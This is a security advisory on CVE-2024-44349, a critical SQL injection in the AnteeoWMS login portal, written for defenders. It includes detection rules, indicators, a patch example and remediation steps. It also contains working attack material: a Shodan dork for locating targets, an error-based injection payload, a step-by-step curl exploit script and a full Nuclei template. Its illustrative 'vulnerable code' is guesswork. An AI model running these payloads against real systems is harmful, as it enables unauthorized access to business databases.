CVE-2024-44349

Executive Summary

CVE-2024-44349 is a critical SQL injection vulnerability discovered in the login portal of AnteeoWMS, a warehouse management system. The flaw resides in the username parameter, allowing an unauthenticated attacker to execute arbitrary SQL commands against the underlying database. This can lead to full data disclosure, including sensitive business and operational data. The vulnerability affects all versions of AnteeoWMS prior to v4.7.34. A public proof-of-concept (PoC) exists via a Nuclei template, and exploitation is straightforward, making this a high-priority threat for any organization using the affected software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database contents can be read.
• Integrity Impact: High (I:H) – Data can be modified or deleted.
• Availability Impact: High (A:H) – Database operations can be disrupted.

Threat Level: Critical. The combination of network exploitability, no authentication requirement, and high impact makes this vulnerability extremely dangerous. The EPSS score of 0.76195 (98.9th percentile) indicates active exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the username parameter of the login form. The application fails to sanitize or parameterize user input before constructing SQL queries. An attacker can inject SQL commands by crafting a malicious username value.

The Nuclei template demonstrates the exact injection point. The login form is processed via an ASP.NET callback. The vulnerable parameter is ctl00$MainContentPlaceHolder$ASPxCallbackPanel$UsrAuthLogin. The payload aa'union select cast(@@version as int),null,null-- - is used to trigger a SQL error that reveals the database version, confirming the injection.

The injection is blind but error-based. The cast(@@version as int) forces a type conversion error, which leaks the SQL Server version string in the HTTP response. This technique can be extended to extract arbitrary data using UNION SELECT statements.

Vulnerable vs. Patched Code

Vulnerable Code (AnteeoWMS < v4.7.34): The login functionality likely constructs SQL queries by directly concatenating user input. For example:

string query = "SELECT * FROM Users WHERE username = '" + username + "' AND password = '" + password + "'";

This allows an attacker to break out of the string context and inject SQL.

Patched Code (AnteeoWMS >= v4.7.34): The fix involves using parameterized queries or stored procedures. For example:

string query = "SELECT * FROM Users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);

This ensures user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running AnteeoWMS < v4.7.34.
• Network access to the login page (typically /default.aspx).

Exploitation Steps:

1. Reconnaissance: Use Shodan with the dork html:"ANTEEO" to find vulnerable instances.
2. Extract ViewState: Send a GET request to /default.aspx and extract __VIEWSTATE, __VIEWSTATEGENERATOR, and __EVENTVALIDATION from the response.
3. Craft Payload: Use the Nuclei template payload or a custom SQL injection. For example, to extract the database version:

   aa'union select cast(@@version as int),null,null-- -
   

4. Send Malicious POST: Submit a POST request to /default.aspx with the extracted tokens and the malicious username parameter.
5. Extract Data: The response will contain an error message revealing the SQL Server version. For data extraction, use UNION SELECT with appropriate column counts and data types.

Example using curl:

# Step 1: Get ViewState
curl -s http://target/default.aspx -c cookies.txt > page.html

# Step 2: Extract tokens (manual or with grep)
VIEWSTATE=$(grep -oP 'id="__VIEWSTATE" value="\K[^"]+' page.html)
VIEWSTATEGENERATOR=$(grep -oP 'id="__VIEWSTATEGENERATOR" value="\K[^"]+' page.html)
EVENTVALIDATION=$(grep -oP 'id="__EVENTVALIDATION" value="\K[^"]+' page.html)

# Step 3: Exploit
curl -s http://target/default.aspx -b cookies.txt \
  --data-urlencode "__VIEWSTATE=$VIEWSTATE" \
  --data-urlencode "__VIEWSTATEGENERATOR=$VIEWSTATEGENERATOR" \
  --data-urlencode "__EVENTVALIDATION=$EVENTVALIDATION" \
  --data-urlencode "ctl00\$MainContentPlaceHolder\$ASPxCallbackPanel\$UsrAuthLogin=aa'union select cast(@@version as int),null,null-- -" \
  --data-urlencode "__CALLBACKID=ctl00\$MainContentPlaceHolder\$ASPxCallbackPanel" \
  --data-urlencode "__CALLBACKPARAM=c0:[object Object]" \
  --data-urlencode "DXScript=1_10,1_11,1_22,1_62,1_12,1_13,1_179,1_180,1_20,1_21,1_186,1_14,1_16,1_182,1_189,1_40,1_178,1_47,1_8,1_37" \
  --data-urlencode "DXCss=1_206,1_203,1_66,1_67,1_68,1_205,1_202,1_72,1_71,0_5551,0_5556,./Styles/webstyle_02.css,0_5390,0_5394,0_768"

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /default.aspx containing SQL keywords like UNION, SELECT, CAST, @@version, --, or '.
• Look for abnormal __CALLBACKPARAM values or unusually long UsrAuthLogin parameters.
• Alert on HTTP responses containing SQL error messages (e.g., "Conversion failed when converting the nvarchar value").

Hunting:

• Search web server logs for requests with UsrAuthLogin containing SQL metacharacters.
• Correlate with Shodan dork hits to identify exposed instances.

Containment:

• Immediately apply the vendor patch (upgrade to v4.7.34 or later).
• If patching is not possible, implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Restrict network access to the login portal (e.g., VPN-only).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /default.aspx with UsrAuthLogin containing SQL injection patterns.
  • HTTP responses containing Conversion failed when converting the nvarchar value.
  • Unusual __CALLBACKPARAM values (e.g., c0:[object Object]).
• File IOCs:
  • Log entries showing failed login attempts with SQL syntax.
• System IOCs:
  • Unexpected database queries or errors in SQL Server logs.
  • Unauthorized data extraction via UNION SELECT statements.

Detection Engineering

YARA Rule

rule CVE_2024_44349_SQLi_AnteeoWMS {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-44349 in AnteeoWMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://blog.cybergon.com/posts/cve-2024-44349/"
        hash = "4b0a00483046022100cbfa581d75b26826f6c3dde9ec9838f57d6bb40ede01008076757fb0daeaf6c9022100affc7209a6d699a971090238afa936abb6d17dda1d3feb237ce6dd1c4e80044e"
    strings:
        $s1 = "UsrAuthLogin=" nocase
        $s2 = "union select" nocase
        $s3 = "cast(@@version" nocase
        $s4 = "Conversion failed" nocase
        $s5 = "ANTEEO" nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2024-44349 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against AnteeoWMS login portal
author: Valters IT
date: 2025/04/10
references:
    - https://blog.cybergon.com/posts/cve-2024-44349/
    - http://nvd.nist.gov/vuln/detail/CVE-2024-44349
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/default.aspx'
        cs-uri-query|contains: 'UsrAuthLogin='
    keywords:
        - 'union select'
        - 'cast(@@version'
        - '-- -'
        - 'Conversion failed'
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in usernames (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-44349 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/default.aspx"; http_uri; content:"UsrAuthLogin="; http_client_body; pcre:"/(union\s+select|cast\(@@version|--\s+-)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Full)

id: CVE-2024-44349

info:
  name: AnteeoWMS < v4.7.34 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A SQL injection vulnerability in login portal in AnteeoWMS before v4.7.34 allows unauthenticated attackers to execute arbitrary SQL commands via the username parameter and disclosure of some data in the underlying DB.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands via the username parameter, potentially extracting sensitive database information.
  remediation: |
    Update AnteeoWMS to version 4.7.34 or later.
  reference:
    - https://blog.cybergon.com/posts/cve-2024-44349/
    - http://nvd.nist.gov/vuln/detail/CVE-2024-44349
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-44349
    cwe-id: CWE-89
    epss-score: 0.76195
    epss-percentile: 0.98936
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"ANTEEO"
  tags: cve,cve2024,sqli,anteeowms,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /default.aspx HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: viewstate
        internal: true
        group: 1
        regex:
          - 'id="__VIEWSTATE" value="([/a-zA-Z0-9+=]+?)"'

      - type: regex
        part: body
        name: viewstategen
        internal: true
        group: 1
        regex:
          - 'id="__VIEWSTATEGENERATOR" value="([A-Z0-9]+)"'

      - type: regex
        part: body
        name: eventval
        internal: true
        group: 1
        regex:
          - 'id="__EVENTVALIDATION" value="([/a-zA-Z0-9+=]+)"'

  - raw:
      - |
        POST /default.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE={{urlencode(viewstate)}}&__VIEWSTATEGENERATOR={{viewstategen}}&ctl00%24MainContentPlaceHolder%24isCookieErased=&ctl00%24MainContentPlaceHolder%24ASPxCallbackPanel%24UsrAuthLogin=aa'union%20select+cast(@@version%20as%20int),null,null--%20-&ctl00%24MainContentPlaceHolder%24ASPxCallbackPanel%24UsrAuthStr=&DXScript=1_10%2C1_11%2C1_22%2C1_62%2C1_12%2C1_13%2C1_179%2C1_180%2C1_20%2C1_21%2C1_186%2C1_14%2C1_16%2C1_182%2C1_189%2C1_40%2C1_178%2C1_47%2C1_8%2C1_37&DXCss=1_206%2C1_203%2C1_66%2C1_67%2C1_68%2C1_205%2C1_202%2C1_72%2C1_71%2C0_5551%2C0_5556%2C.%2FStyles%2Fwebstyle_02.css%2C0_5390%2C0_5394%2C0_768&__CALLBACKID=ctl00%24MainContentPlaceHolder%24ASPxCallbackPanel&__CALLBACKPARAM=c0%3A%5Bobject%20Object%5D&__EVENTVALIDATION={{urlencode(eventval)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Conversion failed when converting the nvarchar value &#39;Microsoft SQL Server'

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade AnteeoWMS to version 4.7.34 or later. This is the only definitive fix.
2. WAF Rules: Deploy a Web Application Firewall with rules to block SQL injection patterns, specifically targeting the UsrAuthLogin parameter.
3. Network Segmentation: Restrict access to the login portal to trusted IP ranges or require VPN access.

Long-Term Measures:

• Secure Coding: Implement parameterized queries for all database interactions.
• Regular Audits: Conduct code reviews and penetration tests focusing on input validation.
• Monitoring: Enable detailed logging for all login attempts and database errors. Correlate with SIEM for alerting.

Workarounds (if patching is delayed):

• Disable the login portal temporarily if not needed.
• Use a reverse proxy to inspect and sanitize POST parameters.

Valters IT
This report is generated for educational and defensive purposes. Unauthorized exploitation is illegal.

{/* [Security Hash: 7BD5CFF6C20BA83CF7D27A67] */}